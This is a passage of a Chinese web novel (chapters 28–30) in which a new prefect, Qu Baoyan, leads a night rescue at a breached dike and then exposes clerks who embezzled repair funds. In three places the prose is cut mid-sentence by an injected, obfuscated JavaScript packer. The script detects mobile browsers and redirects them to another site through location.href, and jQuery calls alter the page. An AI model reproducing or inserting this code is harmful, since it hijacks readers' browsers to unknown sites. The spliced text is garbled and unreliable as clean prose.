秦遇见她出来，不敢耽搁，立即拱手禀道：“禀大人，卑职刚才巡夜回来，江口那边的小吏快马来报——说三合堤西段决了一道口子，原本只是渗水，但方才大雨加急，水压上来，一声响后堤身一下全裂开了，已经开始往清阳方向漫灌了——” “可有人伤亡？” “来报的说，夜里村户大多还在睡觉，眼下还不清楚伤亡，但是下游沿途还有好几个村——恐怕是来不及撤了！” 瞿宝砚神色一敛，转身往屋内走去：“把我的靴子拿来，唤人牵马。” 宝桃儿听得心惊胆跳，转身就奔去取靴子和外袍，嘴里还喊着：“还愣着干嘛，快去点灯！” “诶！” 秦遇领命奔去，一路喊醒外院执事。院中顿时乱作一团，脚步声、灯火声、开锁声交错响起，在雨幕中像是轰然擂响的战鼓，催的人心发紧。 宝桃儿提着一盏风灯回到屋内时，瞿宝砚已整衣束发完毕，长靴利落踏地，披了雨斗蓬，便往院外走去。 屋外风雨扑面，瓢泼似瀑。廊灯在风中剧烈摇晃，檐下积水一寸寸攀升，溅得三尺高。 廊中一串步伐又快又稳，哒哒踩在青石板上，夹着回音急促敲响，一路直奔正门而去。 宝桃儿跟在瞿宝砚身后，小步跑着，喘着气道：“小姐，今夜里雨急风大……要不要给您多裹一层衣，路上也好挡风，要是染了风寒——” 前头瞿宝砚脚步不停，声音从风里传来：“来不及了——” 宝桃儿紧了紧手里的风灯，还想说什么，却一抬眼，前头人影已经踏出门槛了。 知州府门前，几盏风灯被高高举起，檐角流水如注，雨帘自天垂落，密密织成一张看不透的黑网。 秦遇正裹着雨斗蓬检查鞍具，一边催促衙役将榔捶，火把等物装入马驮，吆喝声也在雨中被冲得有些零落破碎。 几匹马鬃毛湿透，嘶声不止，蹄下积水打转。 秦遇见瞿宝砚已经出来，道：“大人，马都备好了，什么时候出发？” “现在。” 瞿宝砚踏出廊下，头戴笠帽，雨披一掀，翻身上马，动作利落。 灯光映在她雨水未干的侧脸上，冷白的肤色在夜色中透出几分凛然肃杀。 宝桃儿见她上马，再也憋不住想说的话，但雨声太大，她不由提高音量有些焦急：“小姐，今夜天黑雨急，路上怕难走……若是前头水大、地滑，也不知道是什么情况，太危险了，要不——还是等天亮了再去吧！” 瞿宝砚拉紧了披风扣，声音透过雨幕传来：“水不等人。” “今晚救得下一村是救；救不下也要叫人知道官府有人管。” “不必担心。” 话音一落，缰绳一提，马蹄应声踏地，溅起一道雨水。 宝桃儿站在原地望着她的背影，心口阵阵发紧。 她扭头看向身旁跟着的老陈，语声焦切：“陈叔，护好小姐！” 老陈重重点头：“放心。” “走。” 一声轻喝，雨夜中几匹马破风而去，迅速隐入奔流的黑雨里。 · 三合堤西段，夜色如墨，雨声轰鸣如雷。 远远便见堤上灯火点点，一群小吏正死命架起油布灯盏，脚下泥水齐踝，照得塌口处水流奔涌、哗哗作响，如猛兽张口。几个河工赤膊裹布，在水边拼命往决口处砌麻袋，却也难以追上水势。 一行人马飞奔而至。 为首之人勒停马，目光扫过堤线，声音穿透大雨：“谁是领头？” 众人望着那一骑当先的人，风雨中声音沉稳如山，纷纷收声站直。 灯火一照，雨斗篷下隐约露出精工双鲤纹的宝蓝色官服，如此制式，只有本州主官可着，众人心中暗暗一惊，没想到知州大人竟亲自赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046114|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至。 一年近五旬的河道老吏急忙快步上前，满脸雨泥，拱手气喘道：“回大人！小的陈明通，是这片堤线的巡查主事。今晚刚发现堤口开裂，小的一接信便带人来堵，弟兄们连着封了半刻时辰，可水实在涨得凶，堤脚都被泡软了——眼下，是怎么堵都堵不住了……” 他话说得恭谨，眼神却不敢直视瞿宝砚，只垂着头，神色间藏着一丝忐忑。 这几年水患不多，堤坝修补便年年糊弄过去，眼下突然出了事，虽非他一人之过，可他是堤头管事的，怕上官一怒，便拿他们这些底下人开刀问罪。 他偷偷抬眼看了看那位新来的知州大人，心里打鼓——这位听说是状元出身，又是钦点外放，不知是雷霆手段，还是只走个过场。 但这大雨夜能第一时间亲自赶来，怎么也不像个好应付的主。 不过瞿宝砚却并未如他所料那般，拿他当场一顿痛批，只是沉了沉眸子，语气镇静：“这水是从什么时候开始渗漏的？” 陈明通忙回：“是夜哨那头的小吏先报上来的，说是初时只是细流，从戌时四刻开始渗得厉害，小的这才带人赶来，到了现场便见水声已哗，堤面有了裂痕——堤脚是实打实地塌了。” 瞿宝砚颔首，目光一扫，又点了他身后一名个头不高、还喘着气的小吏：“你是夜哨的小吏？” 那小吏一愣，忙上前拱手：“是……是卑职韩成，今夜在江口河段巡堤，是我第一个看到塌口。” “把你看到的，从头到尾说一遍。” 韩成不敢怠慢，立刻将从夜色中堤面异动、到渗水聚流，再到初见塌口裂痕的过程讲了一遍，语句虽不甚利索，却前后对得上陈明通所言。 瞿宝砚听完，才算稍稍点头。 “好。”她转头重新看向陈明通，“你动作不慢，报得也还算及时。” 陈明通一惊，忙躬身：“谢大人明察——” 瞿宝砚继续道：“这处决口水速每刻涨多少？照此势头，多久会淹到下面的村庄？” 陈明通不敢怠慢，立刻招呼身边另一名随身记录的小吏：“把今夜水涨的测尺带来。” 他亲自翻开一份油布包着的水文册页，指着上面道：“从戌末到亥初，每刻大约涨六寸，此时堤下之水已淹过旧线一尺七，若不设挡引流，不出一刻半，水就得漫进最近的郭庄了。” 瞿宝砚眉头微皱：“那边百姓已撤了多少？” “这···”陈明通和身边人相视一眼，面露难色，“据小的估计，怕是都还在睡着。今夜雨大，这水声动静再大恐怕也听不真切，山路又难行，喊得响也唤不全呐。” 瞿宝砚目光一凝，毫无迟疑：“人命要紧，先救人。” 她一抬手立即点了几人：“秦遇、赵济、方奎——你们三人各带人手，携风灯、梆子、铜锣，从山上小道分头入郭庄、柳桥。村口挨家挨户敲门，唤不醒的就踹门，能跑的自走，不能走的抬着走，不愿走的视作扰乱撤离，立刻拿下，送去镇口听后令——” “必须在水进村前撤出大半人手。切记沿途地滑，不可乱走，村中还有老人孩孺。风灯高挂树头为引，梆子鸣一次为进、两次为撤，避免走散。” 28. 雷令风行2 她语速极快，却字字清晰：“救出的人立即送往清阳镇。此令为本官口谕调度，交予镇上各衙门，照调令接应，设棚、备干粮清水，稳住人心，防止惊乱，最大程度减少伤亡。” 说到此，她目光微凛，又补了一句：“你们到达郭庄北坡高地后，升黑烟火一盏，作为险情信号，让后方看见，知前方已进村、有危情。” “每路限刻钟半程完成突入，若风急火灭、锣声断，旁线即刻补位。” “是！”几人抱拳应下，神情一凛，立刻赴命。 话音未落，雨幕中又奔上一人，浑身湿透，风灯映得他脸上都是雨水，高声喊道：“报——大人！卑职从南街回报——守备司已得了令，值夜连夜调动人手，两队兵马已分头行动！” 他抹了把脸，语速极快：“其中一队正携麻袋工匠往堤口赶来抢修；另一队从西门出发，往下游各处敲锣通知百姓连夜撤离，这会儿估计已经在半路上了！” 瞿宝砚微一颔首：“好。” “通知守备司，抢修队到后，先沿堤西段设辅堤围挡，分段封水，再派三人至高处观察水势回流变化，按刻上报。” “撤村那一队，让他们协助本官所派人手合力疏散，重心放在郭庄——那边水先到，一人不撤就是杀头的事。” 她语气不冷，却在雨夜里句句如铁，又转头吩咐身边文吏：“记下此令，明日一早，全渌州文武衙门照调令问责，凡怠职延误救人、扰乱秩序者，一并查办。” “是——” 瞿宝砚将雨斗笠向下一压，翻身下马，一脚踏进泥水中，几乎要没过靴筒。 她提着风灯走上堤面，脚下泥泞不堪，灯光一晃一晃，映出那决口处水浪翻涌，激流裹着树枝、木块，狠狠撞击堤脚，声如擂鼓，骇人心魄。 身后人看得不由心中一紧：“大人小心！” 瞿宝砚站定在裂口边，目光一寸寸扫过堤身断口的纹理。她蹲下身去，捻起一撮泥，掌心一揉，再一摔，沉声道：“里面是沙混黄土，表层才封了半寸新泥，根本不成防。” 她站起身，回头看向陈明通，语气不紧，却压得人喘不过气来：“这段堤，是哪一年修的？什么时候补修过？” 陈明通神色一震，忙道：“回大人……是去年整修的，当时是为迎秋汛，州里拨了银子——” “谁修的？是哪个衙门牵头，谁是承修主事？” 陈明通被一连串问题问得汗从额角渗出，忙抬袖拭去，期期艾艾道：“小的、小的只负责日常巡视河水涨落……那年修堤，是工曹厅和州工营的人带的头，具体由河道营抽丁督修，营头好像是姓鲁……姓鲁还是姓常，记，记不清了。” 他说到后面声音也低了下去。 瞿宝砚看着他，眼神如炬，雨丝打在她额前几缕湿发上，宛如未觉。 她淡淡道：“记不清不要紧，那些账册记着就好。有些帐，迟早是要算的。” 话音一落，陈明通头皮发麻，不敢再言。 下一刻，瞿宝砚转过身，望向正死命堆沙填缝的那群河工，语气一收，却沉稳有力： “今夜辛苦诸位了！风急雨猛，你们却不退半步。堤若守得住，是你们护下了一村，救下了一城人的命。不光百姓会记得，我瞿宝砚，第一个记在心里。” 她抬手一指那决口，朗声道：“这一口堤，是咱们这一州百姓得以安睡、醒来能见天光的根本。今夜若能挡住水，我瞿宝砚记你们头功；若水进村，我也与你们一同扛到底。” 这话掷地有声，如钉落鼓面，震得堤上一众河工和兵卒不由得直了脊梁。 有人抹了一把脸上的雨，哑声道：“大人这话，说到咱们心坎上去了。” 又有人吼道：“兄弟们！再扛一袋！这一夜咱得顶住！” 那一刻，众人望向瞿宝砚的目光，不知从何时起已不再是生畏，而是一种由衷的肃敬。 这一通调兵遣将、布署通畅的命令，听得陈明通心中也不由一凛。 他自觉做了多年河务老吏，惯看州官来去，有那不管事、光会做戏的，也有拿话唬人、临事全靠推的——可从未见过这样一位。 原以为这新来的知州，不过是个科场出身的清贵文士，纸上当官罢了，未必懂这些泥水硬活。 谁料她不仅能一眼辨土识堤，甚至说得出混土封泥的厚薄深浅；更厉害的是，布令调兵时对周围村镇地势张口即来、方位精准，连图都不用翻，仿佛整片渌州都在她心里摊成了一张图纸。 她站在那堤上，雨披翻飞，灯火下面色沉定如铁，俨然不是才来一日的新任主官，而是这片土地真正的主人。 陈明通暗自咽了口唾沫，忽然有种奇异的安心感升上心头。他知道，今夜这场水，是有主心骨的了。 周围人不约而同直了腰背，有的神色肃然，有的已悄悄提了锹钯沙袋，不待命令，便主动去接应后方的军工。 这就是威不发而令自行——无需喝令，便叫人自愿追随。 雨下了一整夜，州府内灯火通明，兵丁往来奔走，前堤叫号震天，后村锣鼓连响。 而在这满城水急人急之时，另一边，却是另一番景色。 府城东巷，何宅。 这座宅子修得坚盾厚实，窗缝封了油纸，外头风雨雷声全被挡在帷幔之外。屋内帘帐绵软，榻上人的鼾声如雷，嘴角还挂着点酒气，梦里似在同人争银两，呼噜声带着“胡说八道”四字余音未绝。 忽听“砰砰砰”一阵急促拍门，随后门口传来下人压低急促的喊声： “老爷、老爷，大事不好了！快醒醒，衙门来人了！” 榻上何恩贵迷迷糊糊翻了个身，嘴里含糊不清骂道：“什么时辰……敲敲敲……敲你爹个魂，一大早鬼叫什么！” 下人一头冷汗，进门拽着床帘急声道：“老爷，是衙门的快脚，说知州大人今晨五更刚回城，点名要您即刻进衙！” 何恩贵这才睁开一只眼，打了个大哈欠：“点我？点我做什么？这时候把人叫去衙门干甚——发大米啊？” 下人嘴唇嚅嗫上下翻飞，一咬牙，豁出去似的：“是，问问问，问——罪。” “啊？” 何恩贵瞬间清醒，坐起身来，满头乱发，脖子上的香囊都歪到耳边去了。他盯着下人看了两秒，语气拔高：“你说什么？问谁的罪？老子哪门子罪轮得到她问？——” “老爷，快些穿衣罢，来人说若是巳初未到，就由守备司的人请您过去了。” 何恩贵听到“请”字咬得这么重，脸色当场垮了下去。接着一把掀开被子，嘴唇抖了一抖，跌跌撞撞跳下床，边穿衣边骂骂咧咧：“问罪？我又没睡堤上去！水冲了也怪不到我头上来……不就一个写文章的，也敢骑到我头上查？她算老几——” 他嘟囔着，又伸手去摸那条金边腰带，却摸了个空，急得跳脚：“我那条官带呢？快！带子、靴子、香油头——哎哟我这心口疼，快点快点！” 五更将过，天色未亮，渌州官署外却灯火通明。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051346|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 堂前风雨未歇，水洼倒映着灯影，一众衙役穿梭奔走，兵丁披甲守门。 瞿宝砚夜半归衙，未来得及歇息，便又一刻不停地立即在中堂升起了座。 她袍角未干，鬓发微湿，神情却沉稳如山。案上灯火将她面色映得如玉冷峻，袖下摊着一册名录，笔锋钩得极利，她抬头，对着堂下小吏道： “唤——李秉德、何恩贵、郑寿安、宋大年、吴通达，即刻到堂。” 衙役传令飞奔而去。 片刻后，渌州的这几位吏员几乎是被吓着披衣、慌乱奔赴衙门，有人衣襟扣错，有人靴子穿反，叫骂声和咕哝声夹杂在雨里。 一炷香后，众人陆续赶至。 堂中静极了，一人也不敢大声喘气。水汽蒸腾，混着夜雨未歇的余声，压得人透不过气来。 几名渌州老吏并排站下，俱是袍履未整，神情未定。 李秉德站在最前头，左右看了一眼，又回头瞥了眼何恩贵和郑寿安，几人对了个眼神，互相递了个轻不可察的鼻息。 片刻后，瞿宝砚尚未开口，李秉德便先踏前一步，老神在在地拱了拱手： “大人今早召我等前来，不知所为何事？这会儿天也还未亮，还未到公堂议事的时辰，大伙儿都是连早膳都未顾得上。” 他话里带笑，语气平和：“若是河堤之事，咱们这些人年纪也大了，说句笑话，就算上了堤，也未必能提得动一袋沙土。还是得靠守备司和工营那边有力的后生才行。” 这一席话，说得滴水不漏，看似温和，却将责任就这么轻巧推了出去，仿佛这塌堤之事与他们半点干系也无。 几位老吏也随之附和地低声咳了咳，神情隐隐有些倨傲，眼见这位新主官尚未发声，便试着从言语上先发制人。 堂上，瞿宝砚缓缓抬眼，她坐得极正，灯光斜映在她眉眼之间，面色未有丝毫波动。 她没立刻接话，而是用笔在册上缓缓写了一笔，落完字，才抬头淡淡道： “李通判说得有趣。” 她的声音不高，却稳稳落在每个人耳中。 “既然知道自己年纪大、使不得力，便该早些安排好下面人调度、修堤、查险，才不至于等到水漫堤脚才慌张派人挨家挨户的敲门。” 她语气依旧不急不缓：“我叫诸位来，当然不是叫诸位来提沙袋，是叫你们，把这些年签下的文书、批过的章、拨下的银，还有账底下的人名，一并都拿出来看看。” 堂下众人神色微变。 瞿宝砚声音微沉，却未带怒，反而慢条斯理道：“堤可以塌，水可以急，但你们写下的字，总是不能糊的。” “既然在签字时敢拿笔，今日便在这堂上句句讲明白。为什么花了那么多银子修的堤，却叫三天的暴雨就冲塌了？” 李秉德眼见一招未稳，非但没能卸去责任，反被这话点得心头一紧，神色间却不露声色，反倒呵呵一笑，道：“大人说得极是，纸上签字自然是有字要认的。” 他语调一转，装作自谦地拱手道：“只是这三合堤的事，说来话长，修的是前年，拨的是去年，动的是州营的工，核的是户曹的账，验的是这个河道营的段……若真要查，怕是一时间难以说清。咱们这些人年纪又大，记性也不比从前，若是口误了哪一笔，落得个欺瞒之名，岂不冤枉？” 堂中气氛微变，底下何恩贵咳了一声，其余人或低头不语，或装作听不清。 半晌，瞿宝砚将手中笔搁回案上，轻轻一声：“冤枉？” 29. 雷令风行3 她抬起眼，平静道：“李通判说得妙。既然也知道自己年纪大、记性差，正该感激我叫你们早点来。天亮了，百姓要看水情，陛下要看灾简——这堂若不开，谁来替你们梳理记忆？” 她站起身来，步履从容，一步一步走下阶前。 “不如本官先来替你们梳一梳。” 她走到堂中中央，眼神扫过众人，语气未变，却像寒夜覆雪，片片落在肩上。 “修堤用的是前年州库银三千两，由户曹司核准，去年河道营承修，工曹厅调人，郑寿安批字，宋大年签验，吴通达画段。” 她话未完，宋大年后背已经汗湿，吴通达头低得几乎要看不见眼睛。 “结果今天堤塌了，塌的是泥，是水，也是朝廷的银子。三千两，说没就没了。你说，我若真不管，谁来替这水下的钱作个交代？若堤不塌，我未必追究；但既出了事，这账就得一笔一笔给它理清楚。” 她回头看李秉德，神色平静得几近温和：“李通判，本官不是问你记得多少，而是问，你愿不愿意带这个头。” 堂中静得仿佛能听到雨点滴在屋瓦上的声音。 李秉德脸上笑意不改，手却已经慢慢握紧了衣袖下摆。 他陪笑道：“自然是愿意的，只是这一大早一时也记不清那些细节——” “既然诸位一时记不清，那便由本官代劳。” 瞿宝砚轻轻将那摞账本拈起最上一本，随手一翻，眼未看人，语声已落： “郑寿安。” 郑寿安本是靠后站着的，一听唤名，身子一震：“在，在！” “你以州库监印名义批拨堤料银两，批得是二万八千七百文，但实发——”她翻页，指甲轻敲纸面，“只出账一万八。账目上写‘遇河道调修，中途添料，费用增列，延后补报’。” 她抬头看他一眼，“这笔‘增列’，补上了么？” 郑寿安一张脸涨得通红，口齿磕巴：“小人……那是……那是当时……” “当时你调往清阳十日，帐是他人代批。”瞿宝砚忽而一笑，“这笔帐你竟也签了自己的名？” 郑寿安语塞，面如死灰。 瞿宝砚不再看他，下一本又落在案上，砰然作响。 “宋大年。” 宋大年被喊得一激灵。 她一字一句：“你所呈《三合堤修成复验回报》写的是‘封坝依制，深三寸六分，料工足用’，但在你附上的检验图下，连泥厚都未标清，竟也堂而皇之得了印放行。” 她视线扫过众人：“这便是工曹厅例报的‘三文复验’，不需出图，光写个‘已验如律’便可上报朝廷，是么？” 宋大年脸色惨白：“大人——下官不敢欺瞒，只是……这事向来是照老规矩走的，这年年如此……” “年年如此？”她低笑了一声，接着语声一肃：“那就是连年皆失修！” 她收起笑意，“我昨日剖堤泥心，三尺底下，全是夹杂青砂的浮壤，雨水一浸就散，连根树枝都挡不住。你告诉我，这也叫‘如律’？如的是哪个律？” 堂中无人敢言。 她又翻出一张单页，纸角皱黄，边缘旧卷： “吴通达，这是你当日拨工之签押，记得否？你押了几个人去封堤，按你名下这几位工丁的籍册……” 她从身边吏员手中接过另一叠，啪地并在一起。 “其中三人，上月还在江口镇服徭未归；有一人早于去年冬月就已过世，还有一人，名下印记全无，连个脚夫都找不到！” 吴通达已是冷汗涔涔，哑着声音道：“大人，这事……是下面人偷懒，我、我不知情……” “你若不知情，这签名便该空着。”她冷冷道，“可这是你的亲印，清清楚楚。” “这叫失察么？”她目光锐利如刀，“你们可知昨夜三合堤若不堵，那水若泄得再快半刻，整条郭庄五百口人全都得被你们埋了？不止郭庄，下游还有多少村落，多少人命，你们算过没有？” 一旁何恩贵坐不住了，忽地咳了一声，插声道：“大人何必动怒？瞿大人既然亲自夜巡救人，立了头功，这会儿便不妨也当一回公断好汉。小吏误事虽错，若上纲上线，难免寒了众人之心——” “寒了？”瞿宝砚语气一顿，目光扫过他。 “昨夜那堤上风寒刺骨，何大人可知道？你宅邸隔江，恐怕听不见三村百姓的惊呼；你是在府里睡了一夜好梦，便认定这水不过小事；这人命，不过数字？何大人好大的官威！” 何恩贵面色一白，闭了嘴。 瞿宝砚缓缓拂袖起身，目光扫过堂下众人：“我请诸位来，不是为争一时是非，听谁的嘴更巧能搪塞过去。” 她微微一顿，清亮的嗓音好似一枚铁钉，直钉进堂中众人心头。 “是告诉你们——渌州这摊水，不管它是清是浊，我既接了，就绝不许它再混下去。” “渌州之权归我，之责在我。” “谁敢懈怠、谁敢敷衍、谁敢揩银欺上——一经查实，绝不轻饶。” “自今日起，有令必行，有责必问，有错必究。” 整堂瞬间鸦雀无声。 众人你看我，我看你，只觉那立在案后的蓝袍女子，灯火映面如铁，映得人心发紧。 ——那一刻，众人才终于真正明白，渌州来了怎样的一位主官。 之前所有的沉默和含笑不语，不过是文火煨汤，如今一沸，才知这锅里煮的是谁。 “昨夜堤口失守在即，若非本官亲至督修——”她顿了顿，冷冷扫过郑寿安、宋大年、吴通达几人，“你们以为，今早跪在这里哭的人是谁？” “我朝《宁律·水防篇》第四十六条有明文：凡因堤防失修、偷工减料，致水患漫泄，妨害田亩，百姓伤亡者，主事官吏皆以徇私渎职论；情节严重者，按‘失政致民命’治罪——该处者，斩。” “账册空虚，图纸作伪，你们就这样把一州百姓的命脉压在这层浮沙之下。” “你们说，该斩不该斩？” 此言一出，堂中忽地静得落针可闻。 只听宋大年“扑通”一声跪倒在地，嘴唇发颤，冷汗如雨：“大人饶命！小的只是照章交接，那图纸不是我画的，是……是前头那一年的旧图……” 郑寿安身子一晃，差点站不住，眼珠飞快乱转：“大人！小的也只是按上头批示走流程，银两没动过一文，全是交由工营放发的——” 吴通达也连忙跟着跪下，声音发干：“小的也，也只是挂名调丁，丁是河道营派的，名册是他们给的，属下不敢擅改啊！” 几人争先恐后地推诿，连句完整的话都说不清了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061790|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 何恩贵瞥了他们一眼，袖底手指紧紧绞着，面上却堆起笑来，出声道：“大人这等心细胆大，确实朝廷难得的能臣……只是律法森严，还是要查得真切，若这堤坝真是几年前修的，那牵扯的，可就不是一州一地的事了。到那时，恐怕还得回京请旨，由上头来个公断，才好服众。” 他意有所指，音调拖长道：“毕竟这水患一起，牵连的是旧账，新人翻旧账……总归是要讲个分寸的。” 瞿宝砚听罢，只淡淡一笑。 “何典史考虑得倒是周全。” 瞿宝砚走回堂上主位，立定。 她一手扶案，扫视众人，目光缓缓一收：“现在知道怕了？” 底下跪着的几人面面相觑，脸色苍白，却无人敢否认。 她翻着案上的账册缓缓道：“三合堤若再溃，京里要拿人问罪，你们一个也逃不了。” “到时候不是谁护着谁，而是谁先舍了谁。人人自危，谁愿意为你们担这条命？” “可我渌州，要的是能担事的人，不是一群尸首。若能止溃救人，堤堵住了，命救下了，那递到京中的奏疏，自然也会有一句——‘修堤有功’。 “机会只有一次。” “是死是活，各位心里自己掂量。” 话音一落，堂上静极一瞬，随即便听“咚”的一声，是郑寿安先一步伏地叩首，语带颤音：“多谢知州大人开恩，小的定当尽心尽力，堵堤救人，绝不负所托！” 紧接着宋大年与吴通达也一齐跪伏：“谢大人！小人原也不过是一时糊涂，愿从此洗心革面，赴汤蹈火，在所不辞！” 三人言语恳切，像是瞬间就把自己洗成了忠勇之士，反应之快倒教人分不清是悔悟还是势利。 瞿宝砚并未作声，只一手翻过案前的账册，指节轻扣封面，眸色沉静如水，似在看他们，也似未看。 下首何恩贵见这几人态度变得比翻书还快，脸色不太好看，却又不敢再说什么。 李秉德微低着头，心中却是暗自骇然。 没想到啊。 他们这群自诩聪明的老家伙竟全被这个“初出茅庐的懵官”给耍了！ 什么纸上做官？ 分明是有意示弱，让众人误以为她新官上任、不谙世务，好卸下提防。 原以为这位新知州不过是个摆设，来替上头走个过场，做个样子罢了。 可谁料—— 短短一夜，不但以雷霆之速调兵遣将，稳住堤口，不乱半步；再是堂上驳诘问责、翻账如山，一记重锤敲得众人低头伏首，不敢不从。 以杀制人，又以生驭人。恩威并施，收放自如——这等手段，哪是寻常“写文章”的清流能做得出来的？ 今日这一遭，众人是实打实栽了。 再不认栽，只怕连个台阶都不会留给他们了。 “李通判。”瞿宝砚忽而开口，抬眼看他。 李秉德一惊，连忙拱手：“卑职在。” “水患当前，你掌调度、理仓储。三合堤的工程与兵力，从你处过一道令。我要你一个时辰之内把图纸、物料、用人、河工全数调齐，按我后面的调令动。” 她语气平平，未起波澜，却让人不敢拖延半分。 李秉德心头微震，喉头动了动，终是低头应道：“是。” 30. 一泄千里 天色未明，曦光未破。 渌州知州府的大门吱呀一声，被人从外推开。 下了一整夜的暴雨这会儿才总算是小了一些，廊下还积着水。回来的几人泥痕斑斑一路踏入，靴底溅起的水渍斑斑点点，一直延至内院。 瞿宝砚翻身下马，虽穿着雨披，却也挡不住昨夜瓢泼大雨，外袍早在堤上浸了个透。此时一夜奔走，又入衙问话，归来衣袍竟已干了大半，下摆却还是大片湿痕，沾着泥点尘沙。 风过之处，微带一丝雨后的土腥味。 前院灯还未熄，宝桃儿一直守在门廊，整夜没怎么合眼，等着瞿宝砚回来。听见动静出门一看，一眼瞧见那熟悉身影，忙快步迎上来，心中总算是松了口气：“小姐，您可总算回来了，没出什么事吧……不过这一去怎的到现在才——” 话未说完，宝桃儿走近了跟前，仔细一瞧才见瞿宝砚略微发白的唇色，一身宝蓝色的官袍虽被夜风烘得干了大半，却落满沙尘泥迹，整个人像是被雨夜煮过、风里晾过一般，冷得发干。 宝桃儿心中一酸，也顾不得多说了，忙回身唤人：“快，热水快些烧上，大人要沐浴更衣——里屋现在就去放好炭炉，别叫风钻了缝！” 她转头见刘双娘正站在一旁，立即道：“刘管事，劳您亲自跑一趟，去叫厨房煮碗姜汤，熬浓些，再加两片陈皮，糖也放多些，煮好了立马端来主屋。” 刘双娘听见前头动静也来门口探望，一听这话，也不好推辞，立马点头应是：“诶好好好，我这就去——” 说着快步迈下台阶，却还是忍不住回头看了一眼。 瞿宝砚立在阶下，马鞭仍未放下，披风末角随风微动，面色虽苍白，却神情沉稳，一派从容，还在跟身边人吩咐着什么事，仿佛整夜未睡的并不是她。 刘双娘心中微微一动。 她是府里老人，见惯了这府里新官旧官来来去去。昨夜她睡的浅，听得府中惊动，恍惚又以为是哪位官老爷醉后发癫、半夜折腾人，结果爬起来一看，才知是这位知州大人亲自领人出门，连夜赶赴大堤抢修救人。 她再想去瞧人影时，前院早空了。 这一走，便是整整一夜。眼下回来时，天都快亮了。 她虽做惯了场面活，也早习惯事不关已，可这刻心头也难免泛起几分难言的触动，回过神来，她脚下不自觉加快了几分，疾步朝后厨走去。 屋中炭炉刚燃起，热水一桶桶抬进来，窗扉紧闭，丝丝蒸汽升腾，驱散了夜雨残寒。 瞿宝砚沐浴完，换上一身干净的青袍，发髻收整，又回到书房落座，屋中宝桃儿端来了早膳，她却未动筷，只抿了几口姜汤，便接过了案上一叠叠文书与急报开始批阅。 宝桃儿深知自家小姐的性子，心底虽想劝她多少吃点，却也没开口打扰，只默默放了几盏糕点在案边，若是小姐饿了，伸手便能拿到。 外头天光刚透，屋外又响起脚步声。 “禀大人——” 秦遇进来，行了一礼，身上雨痕斑斑，声音却透着一股掩不住的亢奋：“照您的吩咐，郭庄、柳桥两村共疏散三百七十三户，近一千五百余人，无一死伤，部分老人孩童由本地衙门接应，安置于清阳镇学馆和乡塾中，热水和干粮也皆已置放。” 瞿宝砚轻轻一点头：“好。”随即吩咐，“将名单逐一登记，安置地点与人数一一汇报，每两日报送一次，交于通判与本州户曹各一份。” “是。”秦遇领命欲退，瞿宝砚又唤住他。 “大人还有什么吩咐？” 瞿宝砚看了他身上的湿衣一眼，语气放缓：“你也辛苦了一夜，先去换身干净衣服，吃点东西，再去不迟。” 宝桃儿在一边候着，接话道：“走吧，府里衣物和早膳都给你们备好了——” 秦遇闻言心头一热，拱手一礼：“谢大人！” 秦遇前脚刚走，守备司的通报人也赶至，抱拳拱手：“禀大人，大堤水势已有所回落。军营调拨物料已抵堤口，昨夜连夜抢筑，沙袋已垒至第七层。军工回报，堤基仍有渗水之处，须加厚夯实三尺，方能保后日之雨。” 瞿宝砚轻轻点了点头：“好，按加固所需，再拨物料、增派人手，调工曹厅的人与工营配合，兵丁由守备司拨人负责。每日我都要看到进度。” 她稍一停顿，声音淡淡：“把工料数单写明，今夜前送至通判与库司各存一份，缺的、漏的、乱的，一律问责。” 那兵吏大声应是，躬身退下。 书房中重归于安静，屋外天色也已亮了大半。 瞿宝砚这才松了松，拈过茶盏，喝了几口，目光落在了案上一份未批的册上。停了片刻，随即取过一旁搁着的《渌州水川志》。 翻至水路分布，她的目光沿着图上的水系流向缓缓掠过。 三合堤是稳住了，可她心知这恐怕只是个开始。 三合堤位于丰安县北侧，渌江支流自西北入州，自堤口折东后，又向南蜿蜒而下，贯穿清阳、汀水、南沅三地，终汇入岳临下游。 这一线若崩，清阳以下三县皆有覆顶之危。 而渌州水路甚多，不止此堤一道。 她指尖滑过图册，心头微沉——澹江是主干，左右仍有支流众多，其下更有合江入湖之口。若连三合堤这样的要隘都能被修得如此草率，其余堤段的稳固又能好到哪里去？ 她缓缓合上水志，轻揉眉心。 还没等她回神，门外又传来急报声。 “禀报大人！”一名衙役快步奔入，行至堂下拱手低声道：“清阳、汀水、南沅三县的县衙，今早连发三封急信，一同送到州府——” “说是堤防告急，村民避难不及，已有水涌入庄宅，请求州府调派人手与粮秣支援。” 瞿宝砚指尖一顿，目光微沉：“三县一同来报？” “是。”那衙役低声应着，“送信人都候在外头，说还带了口信，求当面禀报。” 瞿宝砚将图册一合，语气未动：“叫进来。” 